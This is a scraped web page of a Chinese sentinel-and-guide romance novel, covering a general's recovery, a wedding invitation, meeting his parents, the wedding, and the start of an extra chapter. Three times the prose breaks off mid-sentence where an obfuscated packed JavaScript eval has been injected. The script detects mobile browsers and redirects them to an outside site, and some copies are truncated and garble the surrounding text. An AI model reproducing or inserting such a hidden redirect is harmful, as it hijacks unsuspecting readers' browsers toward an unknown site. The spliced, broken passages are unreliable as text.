医疗队中除科林之外还有3位医生、2位护士和1对哨兵向导,即使是戴了面具,顾小绒也仍旧低着头,尽量避免过多出现在他们面前。年轻的随行哨兵和他的向导看上去是新人,十多二十岁的年轻小伙子,他们主要是为了确保医务人员的人身安全。虽然十分担心,但顾小绒仍旧只能躲在另一个房间,偶尔探头看看情况。 到了中午,营养队也过来了,带着空运来的肉类、蔬菜与水果。在营养师的指导下,炊事班熟练地各就各位,他们将负责未来几天上将的饮食。 时间快速流逝,等到了中午,年轻的营养师亲自上楼来请顾小绒,露出一个恭敬的笑:“夫人,请您用餐。” 这称呼让顾小绒头皮发麻,不过她还是控制住面部表情,冲她点点头,毫不拖泥带水地下了楼。 她还是没有适应身份的转变,在潜意识里她仍旧觉得自己是韩奕的下属,与他们是一样的,自己似乎也该做点什么。若是在以前,她可以对他进行精神疏导、可以将他拉进自己的精神图景缓解痛苦,可是现在她什么都做不了。 专业的事确实要交给专业的人,现场的人员虽多,但一直井然有序、互不打扰地工作着,除了科林与其余几位年轻医生低声交流病情之外,几乎没有人再发出多余的声音。炊事班做事又快又利落,顾小绒才放下刀叉10分钟,整个厨房和餐厅就被打扫得锃光瓦亮。 下午三点,韩奕的烧就退了下去,医疗队和营养队一直守到晚餐结束才离开,他们这段时间都将住在罗赛利亚城中心的商务酒店里,24小时随叫随到。 科林和营养师也低声交流了几分钟,最后换了一些辅助的舒缓药剂,韩奕暂时睡着了。 他大概是昨晚一整夜加上今天一整天都没有睡着觉,顾小绒不敢打扰他休息,枯坐在主卧外的沙发上守着。一直等到晚上快11点,她已经有些打盹,手中的书将落未落,她扯了扯一旁的薄毯,准备就这样对付一晚。 眼皮刚刚合上,困意便汹涌而来,迷蒙中卧室门似乎被打开,随后一阵天旋地转,她又被凌空抱了起来。失重感让向导瞬间醒来,韩奕连人带毯子地抱着她,几步就走回了床上,将她放了上去。 “我不出来找你,你就一直不进来吗?”哨兵的声音有些不悦,他的身体已经恢复了过来,只是声音还有些疲惫。 “对不起长官,打扰到你休息了。”顾小绒揉了揉眼睛,她感觉到对面的气压有点低,几乎是条件反射地答道。 “……”直到对面陷入了长久的沉默,顾小绒这才清醒了几分,自己刚刚是叫了他什么来着。 “睡吧。”最终,韩奕闷闷地说道,抬手抽走她的薄毯,给她盖好被子。 昨晚还在床上吻他,今天就划清界限,真是翻脸无情。哨兵有种莫名其妙的被抛弃感,他的心情更差了。 顾小绒哪里还睡得着,翻过身去轻轻摸了摸他的脸,月光勾勒着韩奕的面容,让锋利的线条变得柔和。她能感觉到他最近一直不开心,但不知道究竟怎么了,她小心开口问道:“最近是发生了什么事吗?” 浓密的睫羽缓缓抬起,露出那双明亮的黑色眼睛,朦胧的月色中,她说不清他的眼神包含着什么。 “你恨我吗?”许久的沉默后,韩奕问道,他的视线朝下落去,不敢与她对视。 “啊?”顾小绒目瞪口呆,湛蓝的眼睁得溜圆,他这是在说什么? “你还在恨我,是不是?”韩奕的声音逐渐低沉,他的眼眶很深邃,有一些眉压眼,微低着头的时候看上去像是在生气。而此时她看得真切,他的眼角分明在发着红。 “我没有恨过你,从来没有。”她在怔愣了半晌后才答到,随后伸手去抱他,哨兵乖乖地任由她抱着,身躯静静地蜷缩成一座小山。 “你和我在一起,是被迫的吗?”韩奕的头抵在她的怀里,继续问道,声音听起来像是受了极大的委屈。 “没有啊。”顾小绒轻轻摩挲着他的鬓发,这才想起了之前求婚的事,自己那一瞬间的犹豫和为难到底还是被他看见了。 “如果你听到了什么流言蜚语……”韩奕的手穿过顾小绒纤细的腰肢,将她从背后拢住:“那都不是真的,我已经处理好了那些事,也不会再去参加沙龙和晚宴了。” 这都是哪和哪啊,顾小绒哭笑不得。 她确实有听过一些绯闻,只是没往心里去,不过此时她还是觉得自己应该关心一下他:“你是怎么脱身的呢?” “我说我一身都是病,她们就都嫌弃我了……”上将闷闷地答道。 “……”顾小绒无语凝噎。 “你也嫌弃我吗?”哨兵的手稍稍施力,顾小绒便感到呼吸一紧,她低头迎向他的眼神,那双沉黑的眼像是宁静的湖面,被风吹拂着荡漾开波纹,光点从中聚合又缓缓散去。 “嫌弃你,当年在禁制塔看到你第一眼就该转身走的。”顾小绒亲了亲他温热的前额:“出门就打报告,说这差事干不了。” 见他沉默着不说话,她无奈地叹了口气:“如果你在意我答应你时犹豫了一下,确实是……我毕竟是切除过精神力的向导,会终身服药,残存的精神力也可能一直不稳定,而且……你应该知道,切除精神力的向导也会失去生育能力。” 没有人说得清这其中的缘由,就像没有人能解释哨兵和向导的深度连接也和那方面有关一样。 “我只是一个退役的残疾向导,甚至不能给你正常的家庭,你真的想好了吗?”顾小绒尽量把声音放得平和,可是到了最后,她还是快要说不下去了。 即使是最公正客观的路人,听到军部最高统帅最终选择的伴侣是一位失去生育能力的残疾向导,恐怕也会摇摇头。他原本就值得更好的伴侣,不说身份要多贵重,至少是一个健全健康的女性。 她感觉到抱着她的那双手忽然发力,原本安稳卧在她怀中的黑豹猛地起身,两人的位置顷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这场全民参与的热闹绯闻最终没能按照大众的期望走下去,皇室的试探很委婉,上将的回应也很体面,首当其冲的理由便是自己厚厚的病历单、以及随时可以查证的行医记录;其次是他出身平民、并非贵族,身份与王储殿下无法匹配;再次便是王储殿下还很年轻,自己已年逾三十,算不得良配等等。 “什么鬼。”程浩一边翻着八卦小报一边吐槽:“菲奥娜公主和顾小绒是同一年的,他这会儿说和她年龄不匹配,那他怎么没觉得和顾小绒不匹配。” 正羽从程浩手中夺过了八卦小报,上将的托词显然不能满足吃瓜群众热烈的好奇心,于是更多的小道消息满天飞,有的说上将爱上了一个从南部地下市场救出来的风尘女子、还是个残疾向导;有的说上将的未婚妻和他曾经牺牲的向导长得很像,连发色和瞳色都一模一样。 各种奇怪的救风尘与替身文学满天飞,程浩觉得这些人不去写小说真的是可惜了。 “吃饭了。”楚飞一手一个餐盘从厨房中走了出来,今天的牛排是周叔上午送来的,食物的鲜香瞬间盈满了室内。 作为现场唯二的可以行动自如的人,程浩立即起身接过了盘子,热气腾腾的菜很快被端上了桌子,四人围坐一块准备开动。 “在说什么啊,这么开心。”楚飞环视了一圈。 “哦,在说曼琳结婚的事呢。”娃娃脸向导面不改色:“她的请柬你们怎么还放玄关那儿没开?我们的早就拆了。” “放那儿吧。”楚飞低头扒饭,他无法想象师姐穿婚纱的样子,甚至还觉得有点可怕:“跟我说时间和地点就是了。” 哨兵风卷残云地清扫着盘里的食物,半晌后才像是想起什么似的吐槽道:“师姐都要结婚了,老师居然还没有结。” “你是不是退役太久了皮痒想挨?”周烨冷着脸截断了他的话头。 “上将已经三天没有揍他了。”程浩面无表情地补刀,好像刚才八卦的另有其人。 楚飞打了个哆嗦,赶紧收了声。 S级哨兵的训练视频都会被存档,因此楚飞被韩奕收拾的视频还留存在公会里,做为珍贵的历史资料永久保留。 83. 番外一[番外] 顾小绒摩挲着那张白色的邀请函,精美的烫金花纹镶嵌在纸页上,清透的绿色丝带被拆了开来,散发着一股清幽的茉莉香。 打开扉页,映入眼帘的是曼琳与诺兰的结婚照,女哨兵穿着雪白的婚纱,金色的长发被盘成精致优雅的形状,钻石王冠映衬着她雪色的肌肤,绿色的眸子如同宝石一般光彩四溢。她的爱人与向导穿着一身白西装,正站在她的身侧,二人正对着镜头粲然笑着。 照片之下是烫金印刷的花体字,名字的空栏处龙飞凤舞地写着韩奕的名字,看上去是曼琳的亲笔。 顾小绒将那张照片仔仔细细地看了好久,因为塞拉菲尔计划的保密程度,她只能安安心心扮演“死人”,不能同曾经的朋友们再有一丝一毫的接触。 毕竟,晏泽的实验结果必须是“失败的”,所以中央公会的向导“顾小绒”只能牺牲,活下来的是第五公会的向导“槿柔”。 顾小绒捏着邀请函,朝着窗外浅浅叹气。往后余生,她也都只能通过韩奕围观曼琳的幸福,不过只要她知道他们是幸福的就好。 她用自己工作和补贴得来的所有积蓄给曼琳准备了结婚礼物,是由不同色度的绿色宝石做成的胸针,虽然不是一等一的贵重,但已是她全部的心意。当然,这份礼物最终也是通过韩奕转赠给了曼琳。 他们的婚礼是在曼琳的故乡举办,那里在封闭城市之外,婚礼的主角与其余重要来宾经过了层层报告和申请才最终获批出行。 顾小绒在屏幕前看完了婚礼的直播,宁静的小镇摆满了玫瑰,整场婚礼并不奢华,却十分温馨。曼琳来自于一个普通人的家庭,她的父母与亲友也全都是普通人,因而面对受邀前来的哨兵与向导,大家都觉得十分神秘,也有些好奇。 她看见镜头的角落里楚飞和正羽被大家围着问问题,有一位小朋友甚至好奇地戳了戳正羽的身体,最后得出了“哨兵看上去也像是人”这样的结论。一旁的程浩看热闹不嫌事大,除了一直录像之外还怂恿正羽抱一抱小孩。 毕竟已离开了封闭区,哨兵们的手上都带着手环,方便随时定位并监测他们的情况,限制已经如此严格了,哪里还敢做什么抱抱小孩举高高的动作。正羽只能任由小朋友们拉着他的衣角,好奇地东摸摸西瞅瞅,举手摆出一副投降的姿态。 曼琳喝多了酒,被怂恿着壁咚并公主抱了新郎,程浩尽职尽责地抓拍下所有关键的画面,准备好了嘲笑诺兰一辈子的长线计划。他们闹得太离谱,把周烨都整笑了——他只静静出现在镜头边缘,穿着一身裁剪得体的黑色礼服,偶尔抬手掩盖笑意,仍旧像是从前那般矜贵持重。 虽然还是坐在轮椅上,他的精气神看上去却好多了,顾小绒终于发自内心地松了一口气。 韩奕做为证婚人,贡献了不多但十分重要的五分钟,参加完婚礼之后的第二天他便立即赶回了家,毕竟好不容易遇到顾小绒得空休息,他一分钟都不想耽搁。 她果然一遍又一遍看着婚礼的视频,仔仔细细地听着朋友们的欢声笑语,甚至偶尔伸手摸一摸屏幕,好像这样就不曾与他们分隔似的。 “你喜欢这样的婚礼吗?”哨兵低沉的声音传来,顾小绒抬起了眼,韩奕正端着一杯蜂蜜水朝她走来,他穿着一身灰色的家居服,看上去气质难得的柔和。 在她接过水后,哨兵便自然地贴着她坐下,很快她便被他一整个包裹起来,温热的鼻息紧贴着她的后脖颈,她能感觉到那双沉黑的眼在仔细地描摹着她。 “那……求婚时候的风格,你不喜欢?”她听见他问。 顾小绒叹了口气,为了避免哨兵过度内耗,她只能靠近他的怀里,并且立刻、马上、肯定地回复道:“喜欢,只要是和你在一起我都喜欢。” 在一起的时间才不过半年,她已经被迫磨练出了一身甜言蜜语的技能,不过她的笑容看上去过于热切,韩奕有些不满,淡色的唇轻轻贴住她的前额:“太过了……” 果然敷衍是不行的……顾小绒收敛了已经僵硬的笑意,随后认认真真答道:“真的喜欢,就是看上去太铺张了,不用费那么多钱……场地费是不是花了不少?” 韩奕顿了顿,面容难得地流露出一丝不解:“什么场地费?” “嗯……”顾小绒抿了一口蜂蜜水,即使是在春季,他给她的水也仍旧是温热的:“就是租下场地的费用……那个庄园那么大,看上去不便宜,你是整个租下来的,还是只租了餐厅和礼堂?” “……”韩奕听明白了她的问题,神情变得有些复杂,最后无奈地敲了敲她的头:“给你的东西,你是一样都没看过。” “什……”顾小绒脑袋空空,一脸茫然。 “不是租的。”韩奕重新将他发懵的爱人圈进怀里,俯身吻住她的耳垂,极轻的雪松味悠扬地弥散开来,他的声音如同大提琴一般雍容低沉:“买的。” 惊雷闪过脑海,顾小绒心跳如鼓,艰难地咽了口唾沫。她这才忽然想起,韩奕之前派人与她进行资产对接,而她因为忙于工作将这事忘了。 在艾泽洛瑞恩帝国的法律里,双方成婚之后,彼此的资产便会处于共有状态,因此很少见到资产优质的一方着急结婚。这同样意味着,正式结婚之后韩奕的所有资产也将属于顾小绒,他的资产多到甚至需要有职业理财顾问进行管理,除此之外,资产对接组里还有专门聘请的律师团队。 她完全将这件事抛到了脑后,自然也不知道埃斯莫瑞庄园是韩奕的资产。 “啊……这……你……”顾小绒目瞪口呆地望着在她面前整齐摆放的各类产权证书、基金、股票、宝石与贵金属、古董与艺术品单据,以及分门别类的各类账户。 “你这些……都来得合法吗?”问题虽然尖锐,但她还是只能单刀直入地问了。 “早知道你会问。”韩奕将一叠文件挪到了她跟前,那上面是他从军以来的职务与职级变化、以及对应的收入。 上将的资产积累主要来自于高危S级任务派遣得来的奖金,他在一线服役时间长,因而积累丰厚。而另一边,因为战争的持续,市场环境十分萧索,地价一度暴跌,甚至很多贵族与富豪都在最艰难的时候抛售了资产…… 顾小绒仔仔细细看过上面所有的数据,最后不得不承认这一切全都是正当合法的收入,且都是他自己一系列成功的投资得来的。她浑身僵直,只觉得吞咽的动作更加艰难。 韩奕的收入流水让她想起了自己曾经服役的时候,虽然她在中央公会只待了一年,但前期跟随韩奕出过几次S级任务,也算是小有积累,只是“顾小绒”已经“牺牲”了,她曾经千辛万苦拿命换来的奖金自然也“收归国有”了。 出生入死一整年,到头来全部白干,她简直痛彻心扉。 韩奕意料之外地望着未婚妻逐渐僵硬的神情,她一点都不高兴吗?自己还是有哪里没有做到位吗?为了避免她的压力,他甚至将收入流水都打印了出来,原本是想试探下她的反应,顺势看看什么时候能正式进行资产交接的,现在这又是要卡住了吗? 二人沉默相对,各自在自己的痛苦中头脑风暴。 身体的本能先于意识做出了决定,哨兵一把握住了向导微凉的手腕,好像这样他的小鸟就不会再从他身边飞走。因为心急,他的力道失了准,顾小绒被突如其来疼痛弄得“嘶”了一声,她的痛彻心扉被暂时打断了。 “所以……你的答案呢?”韩奕松了松力道,却仍旧牢牢圈住她的手腕,他无法再忍受这样等待下去了:“你什么时候……愿意签字?” 拥有帝国合法章纹的婚约文件就摆在眼前,被淹没在堆叠成山的产权证书中。 “啊……”顾小绒强迫自己从痛失巨款的悲伤中切换情绪,她忙不迭点头:“愿意愿意……”说着便将那份婚约书拿过来签上了名字。 她不甚熟练地写下“槿柔”两个字,在紧靠着她的另一边,上将熟悉的签名早已字迹清晰地刻印在纸面上。 韩奕是一个绝对的程序正义者,尽管所谓的“程序”有很多的可操作空间,比如“槿柔”相对于她来说只是换了一个马甲,可他仍旧执着于与这个马甲缔结法理上牢不可破的契约。 “……”顾小绒瞬息万变的神情与仓促的签字让哨兵陷入了沉默,直到后来过了很久,他才知道她那会儿在伤心什么,上将无语凝噎:“你要是这么难过,我可以把这个数额再转回来给你。” “我才不要你的钱……”顾小绒闷闷地翻了个身,到最后也只能安慰自己人还活着就好。 婚期就这样按步照班的推进着,不过还有一件至关重要的事被压到了最后。 那就是见家长。 顾小绒紧紧绷绷地对着穿衣镜,她已经花费了相当长一段时间做准备,订制了一套得体的衣服,确认佩戴的耳环与项链恰到好处。为了不耽误时间,她几乎是一大清早就起来做准备,最后卡到早晨9点准时上了车。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055922|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同所有哨兵向导一样,离开封闭区域需要漫长的审批与申请,韩奕的手腕上佩戴了定位装置的手环,他们正离开罗赛利亚,前往数百公里之外的维尔特。韩奕从来没有提过自己的家庭与父母,直到此时顾小绒才知道,原来他也出身于普通人家庭。 从晏泽之前透露出的信息,她能猜到韩奕的父亲也在军部,只是不知道是谁。她曾经跟着韩奕在海陆空三军视察过,也不知道那时候有没有与他的父亲打上照面。顾小绒紧张地摸了摸自己脸上的纳米面具,确认了万无一失才有些局促地下了车。 普通城市的配置远没有封闭城市那样豪华,车辆驶入一个有些陈旧的大院,陆军的标志一闪而过,很快便被茂密的梧桐树叶淹没。 即使是做了充足的心理准备,在真的看见韩奕父亲的那一瞬间,顾小绒还是目瞪口呆。 他们进来的时候,韩霆中校正在庭院走廊的拐角处抽着烟,见到韩奕进来,中校灰蓝的眼瞳波澜不惊,但在顾小绒紧跟着进来后,他便立即掐灭了烟头。 顾小绒望着眼前红褐色头发与胡须的男人,心中惊涛骇浪,这不就是韩奕曾经整改陆军时、常常出现在加雷斯上校身边的陆军二号人物吗?!他居然就是韩奕的父亲吗?!他们长得也实在是太不像了吧!! 韩霆显然也对曾经那位名叫“顾小绒”的向导留有印象,尽管上了年纪,中校那双锐利的眼睛仍旧锋芒不减,被他的眼神上下一扫,顾小绒几乎是条件反射地摸了摸脸上的纳米面具。 不过很快,韩霆便对她露出了一副温和的笑容来:“小柔,你也来啦,快进来坐。” “好的,谢谢叔叔。”顾小绒紧绷地笑着,侧身跟着韩奕进了门。 进了屋子,韩奕的母亲这才从厨房后露出了身影,她招呼着二人坐下休息,按住了准备起身帮忙的顾小绒,黑玉一般漂亮的眸子笑得眉眼弯弯。原来上将长得像妈妈啊,顾小绒看了看端庄优雅的夫人,又转头看了看韩奕,如是想到。 韩霆身上浓重的烟草味让韩奕蹙起了眉头,父子二人在客厅相对而坐,气氛变得尴尬又沉默。 韩霆中校与加雷斯上校是出生入死的战友,二人并肩作战数十年,是过命的交情。在韩奕大规模肃清陆军队伍时,韩霆曾想过拉下脸问儿子要个人情,事情当然没有搞成,父子俩的关系就此恶化。 从整改陆军那会儿到战争结束,这对倔强的父子硬是互相之间没有再联系,如果不是韩奕准备结婚,也许二人的关系还是无法破冰。 夫人曾经是父子之间的润滑剂,不过此时她还在厨房忙碌,顾小绒被迫夹在两位气场强大的军官中间,一时感觉如坐针毡。 好在煎熬的氛围没有持续太久,饭菜便准备好了,随着夫人的入场,家里的氛围从冰点渐渐回温。一顿饭吃下来,顾小绒被全家人照顾得无微不至,韩霆虽然对儿子没有什么好脸色,对儿媳却和颜悦色、轻声细语。夫人更是容光焕发、难掩笑意,频频追问婚礼细节,一直叮嘱儿子一切要以小柔的心意为准。 看得出来即使是在军官家庭,年过三十没有婚配也有相当大的压力,顾小绒的出现使得这个艰难的问题迎刃而解,所有人都松了一大口气。 晚餐到了尾声,韩奕才将婚礼请柬放到了桌上,地点仍旧是埃斯莫瑞庄园,这是顾小绒的决定。与其说是婚礼,不如说是小型的家庭聚会,毕竟为了保护顾小绒的身份,除了韩奕的父母之外,他们也不能再请别人。 中校与夫人也拿出了礼物,那是一整套足斤足两的黄金首饰,都是早就给儿媳备好的,比起珠宝,老一辈还是固执地相信黄金的价值。 顾小绒紧张地抬手,还没能做出什么推拒动作,便看见韩奕从善如流地替她收了下来,哨兵一边拿上黄金首饰盒,一边握住她的手:“我们出境的时间有限,今晚就先走了。” 随后顾小绒便被他拎着,在父母欣慰的注视下离开了屋子。才刚坐上车,上将便忍不住吻了爱人的侧脸,雪松味的信息素浓郁地充斥着车内的空间。他实在是一分一秒都难以忍受被旁人打扰,即使那是自己的父母。 “怎么?”望着顾小绒无奈的神情,韩奕微微扬起眉梢:“难道你想一直和他们待在一起?” “不想……”顾小绒赶紧答道。 “那不就是了……”哨兵温热的吐息在耳侧流连,骨节分明的手指挑住她小巧的下颌,迫使她微微仰头,将两瓣樱桃般的唇没入他的深吻中。 84. 番外一[番外] 儿子儿媳离开后,韩霆同夫人一道收拾了厨房,他的目光落向庭院里,本想再抽出一支烟,但最终还是忍住了。 除了孩子偶尔的探望之外,日子就还是平静如水的过着,这也是绝大多数退役军人的生活,和普通老人没有任何区别。 昏黄的灯光下,中校微眯着眼,那双坚硬锐利的眸子缓缓定格。他做为普通人,没有哨兵那样过人的五感,也没有向导的精神力,可是纵横军部与战场那么多年,中校有他自己看待事物的方式。 混账小子虽然翅膀硬了,但到底还是他的崽子,眼睛一抬他就知道那是怎么回事。 哨兵有他们自己不自知的思维局限,那就是过于依靠五感的认知,只被简单的视觉与听觉束缚。“槿柔”确实被他保护得很好,那张脸看上去和曾今的“顾小绒”似乎也毫无关系。 决定中校最终判断的是他们彼此之间的眼神,以前在陆军那会儿,他就没有见过韩奕那样的眼神,尽管在人前他已尽力克制。从那时起中校便觉得,他的儿子此生都不会再用那样的眼神看向别人。 尽管不知道臭小子在搞什么鬼,但作为军人,中校知道原则,不会点破、也不会探寻事情的真相。 “老头子。”身边传来夫人温柔的呼唤,也许是看他一个人闷着不知道在想什么,老伴有些担心地走了过来。 韩奕确实与陆军结怨甚深,之前闹得满城风雨的绯闻也在各个军部大院里持续着发酵,原本韩奕有可能迎娶王储殿下、坐拥帝国的半壁江山,这引来了相当一部分的不爽与嘲讽。这些阴阳怪气在绯闻落幕之后又变成了假装可惜的叹息,总是有人想方设法地向老两口递话。 “唉,我听说切除精神力的向导是没有生育能力的。老韩你看你,连孙子都抱不上。” “王储殿下高攀不上也不打紧,好歹找个能生养的媳妇呀。” 中校冷眼望着这群满肚子坏水的人,因为韩奕的铁腕整治,他已经被夹在中间两头受气很久了。夫人也不是对这些风言风语全无所知,她原本是有些担心的,但是看着韩霆今天对儿媳和颜悦色的样子,她的心又很快地放了回去,这意味着老头子答应了。 “你以为我会反对吗?”韩霆收回视线,灰蓝的眼眸含着笑意,温柔地看着妻子,看到对方不好意思地点点头后,他才沉默了下来,随后重重叹息了一声。 “他这些年也受了不少罪,现在好不容易打完了仗,他想怎么样就怎么样吧。” 为了克制烟瘾,中校拆开一颗薄荷糖含入嘴中:“再说了,和皇室联姻也未必是什么好事……” 韩奕原本是想在婚礼之后再和顾小绒住进埃斯莫瑞庄园的,但最终还是没能克制住,同她在一起越久,他想要的就越多。 顾小绒对自己丈夫的状态多少是有所感知的——在她正式签署婚约文件后,韩奕就已经是她合法的丈夫了。 罗赛利亚有很多重伤退役的哨兵与向导,断胳膊断腿、甚至坐轮椅的情况并不罕见,韩奕看上去似乎是健全的,但顾小绒很清楚他所受的伤有相当一部分都在心里,他从来没有完全从那场黑暗中走出来。 因为上将坚持拒绝心理医生,顾小绒只能私下委托科林替她联系了一位,平日里通过她的观察与口述对接上将的状态。而对于韩奕在感情中过强的内耗、占有欲甚至是偏执,心理医生给出的方案是给予他稳定的情感回馈与安全感,尽量不要拒绝他。 于是顾小绒几乎是没有任何犹豫地同意了与他一道入住庄园,她能感觉到在自己点头的那一刻,韩奕的神情骤然放松了下来,冷色的黑眸在短暂的惊异后,满盈出淡淡的幸福。 其实,即使没有心理医生的建议,她也大概知道怎样去做,因为只有她自己知道,韩奕之所以会变成这样,还是被自己骗得太狠的缘故……虽然她当时确实是有任务在身,可是欺骗带来的伤害仍旧永远地改变了他,也永久地改变了他们彼此之间的关系。 在他们搬入庄园前,管家与核心团队就已提前一个月入住,主要分为园丁、采购、厨师、内务与管理几个班底,因为庄园的占地面积过大,主要建筑有三座之多,因此每一栋楼和每一层楼都有对应的负责管理人。 作为女主人,顾小绒不得不和他们每一个人打照面,还好有总管家帮忙,不然她一时半会儿都应付不来。 除此之外,上将的安保团队也同时入了场,毕竟这里不是封闭城区,无论是对内还是对外都需要严格的安保措施。这其中的成员几乎都是年轻的A级哨兵与向导,他们都是直属于上将的精英。 不过平日里顾小绒都看不见他们,职业团队总是保持着恰到好处的空间感与距离感,于是这座庄园变成了只有她和韩奕二人存在的孤岛。 顾小绒能感觉到,自从搬来这里之后,韩奕的状态就好多了,他不再时刻紧盯着她,好像她总是会在他看不见的地方出什么事。当然,韩奕自己并不会承认,他心态放松某些方面是因为这里不会有什么乱七八糟的男大学生,一天到晚不知死活地在顾小绒眼前晃来晃去。 整座山谷以庄园为轴心,被上将的安保团队严丝合缝地守卫着,连一只蚊子都飞不进来。他们每一个人的眼睛都是韩奕的眼睛,每一个人的意志也都是韩奕的意志,这里的一切都在他的掌控下,这让他感觉到放松与安全。 顾小绒能感觉到自己即使是外出散步的时候,也会被哨兵的眼睛若有似无地盯着,即使她很偶然喝水呛到,轻轻咳了两声也会有人立即汇报给韩奕。她对丈夫这样的做法多少感觉到有一点窒息,不过回头想想自己造的孽,也不得不硬着头皮继续还自己的债。 绝对的掌控让韩奕的状态渐渐变好,他最近发病和梦魇的次数越来越少,晚上的睡眠也逐渐安稳。最重要的是,他能感觉到顾小绒是爱着他的,她甚至是在迁就自己的偏执和无理取闹。 慢慢的,顾小绒能感觉到自己被监视和盯着的次数在变少,而她的爱人也在慢慢地好起来,他不再像是以前那样心神不宁、担惊受怕,好像她下一秒就会从他身边消失。 她不介意在亲密的时候和他说对不起,即使是不断地重复一千次一万次,每次这样的时候韩奕总是会让她强行闭麦,有时候是手、有时候是唇、有时候直接让她发不出声音。 他害怕她对自己说那几个字,于是后面她将那三个字换成了我爱你,往后余生,她都会很多次、很多次地一直说给他听。 哨兵的手在白色的门扉前停顿了片刻,随后才缓缓推开。 银色的晨光遍洒窗前,蔷薇盛放在白色雕花的窗台上,他的新娘端坐其中,被那层光晕笼罩着,雪一般洁白无瑕。因为起得太早,顾小绒微眯着眼打盹,她的银发已长到及腰的位置,此时正被妆造师仔细地梳理着盘起来。 门开的轻响将她惊醒,刚想揉揉眼,便被韩奕眼疾手快地按住了手腕,化妆师向他投来一个感激的眼神,刚才那一转身的功夫,新娘的眼妆就差点毁掉了。 顾小绒这会儿也才后知后觉地反应了过来,不好意思地吐了吐舌头,她的目光随即落到了她的丈夫身上,韩奕甚少穿浅色的衣服,这还是她第一次见他穿银色的礼装,蓝银色的领带是她替他选的,在他的胸前除了白玫瑰之外,还佩戴着一只知更鸟的宝石胸针。 “很累吗?”韩奕关切地抚摸着她光滑的肩,语调温柔得令她融化:“冷不冷?” “不,不累……”顾小绒被他深邃的眼眸注视着,心脏几乎漏掉一拍,她还没来得及说不冷,韩奕已经起身将毯子披到了她的肩上。 “项链呢?”他望着她颈间摇曳的钻石耳坠,问道。 “太重了,等会儿再戴。”被他温热的手轻抚过脖颈,她的脸红得更厉害了,身子有些紧张地朝后缩了缩。 头发已经盘好,只剩最后点缀一些花朵,韩奕从篮子中挑出几朵勿忘我,替她别在鬓发上,一旁的妆造师立即配合着将花固定,这些蓝色和白色的小花都是他们一起从山上摘下来的。 庄园最遥远的角落伫立着一座百余年历史的礼拜堂,也是整个庄园里最晚修整好的部分。 精美的彩绘玻璃将阳光折射成瑰丽的颜色,悠扬的钟声从远处响起,在那一刻,白鸽被同时放飞向蓝天。顾小绒穿着坠满钻石的婚纱,一步步朝着礼堂的中心走去,白色头纱长长地垂落在她身后,让她看上去像是发着光的银色星辰。 神父早已就位,韩霆中校与夫人也早已入座,而在光芒最盛之处,她的爱人正捧着玫瑰、等待着她的到来。 “我愿意让你成为我的妻子,遵照神的旨命,和你生活在一起。无论在什么环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那不是疼痛,是一种更深刻的感觉,她说不出话来,只能无助地摇头,哽咽着流泪。 下颌被他骨节分明的手轻轻扣住,随后是深邃绵长的吻,他温柔地轻吮着她,冷清的面容被烟雾萦绕成热烈的红色,那双素来克制的黑眸深处泛着潋滟的水光。 “别咬自己……”韩奕的气息流连在她的耳畔,她感觉到他的手缓缓下移,将她抱得更紧。 “如果受不了,就咬我……” 记不清是在什么时候失去了意识,顾小绒只记得夜色颠倒的斗转星移。 直到醒来时,她的周身还萦绕着淡淡的雪松味,柔软的丝质睡衣贴合在她的身上,盖住了昨夜的痕迹。她揉揉眼,窗外天光大亮,几只白色的蝴蝶正飘飞着落到窗外的蔷薇花丛中。 韩奕的手还揽在她的腰上,鼻息贴在她的颈后,他们抵足而眠,从春日温存的黎明中醒来。顾小绒翻过身去将他抱住,闭上眼想再小憩一阵,却感觉到对方的手轻柔地抚弄着她的鬓发。 “再过段时间,我们回罗赛利亚吧。”韩奕静静望着她,沉黑的双目浮动着温柔的光。 嗯?他想明白了?顾小绒也睁开了眼,心里这样想着,却没有说出来。 只可惜她的眼神过于直白,被她的丈夫瞧得清清楚楚,他将她往怀里拢了拢,轻轻吻住她的前额。他不是不知道爱人瞒着自己找了心理医生,她一直默默忍受着自己的独断专行,被剥夺了同龄人的自由,限制在这个与世隔绝的地方。 “难道被我关在这儿一辈子,你也愿意吗?”他闷声问,抱住她的手臂微微收紧。 “也不是‘关’啦。”她试图替他解释:“这个叫‘蜜月’,还有‘二人世界’。” 她笑了笑,随后伸手轻抚他的脸颊,神色郑重而温柔:“只要你愿意,我们住哪都行。” 我再也不会离开你了,这句过于沉重的承诺被隐去,只无声地镌刻在她的心底。 黑豹被他的爱人哄得软成一片,紧箍着她的手臂终于松懈了力气。窗外的蔷薇还沾着昨夜的露水,在晨曦的光芒下晶莹剔透,散发着馥郁的香。几声清脆的啼鸣从藤蔓上传来,伴随着羽翼扇动的声响。 他的知更鸟已回到了他的身边,永远不会再离开。 (番外:婚约 完) 85. 番外二[番外] 顾小绒感觉到自身情况不对时,春季已到了最炎热的时候,午后的阳光将地面温度拉到了接近30°,茂密的枝叶深处响起阵阵蝉鸣。 她放下手中正在清洗的杯子,整个人头晕目眩,太阳穴的青筋突突直跳,她很熟悉这种感觉,这是精神力失控的前奏。 